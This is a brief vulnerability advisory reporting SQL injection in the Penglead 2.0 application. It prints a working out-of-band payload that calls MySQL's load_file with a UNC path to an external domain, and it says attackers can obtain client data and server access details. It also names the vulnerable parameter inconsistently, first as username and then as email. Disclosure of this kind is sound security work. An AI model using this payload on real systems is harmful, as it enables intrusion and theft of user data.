Penglead 2.0 Multiple SQL injection Vulnerabilities

## Title: PENGLEAD-2.0 Multiple-SQLi
## Author: nu11secur1ty
## Vendor: https://www.mayurik.com/

## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+' was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all the information for the clients of this application from the server, and very sensitive information for accessing the server by exploiting the vulnerability.
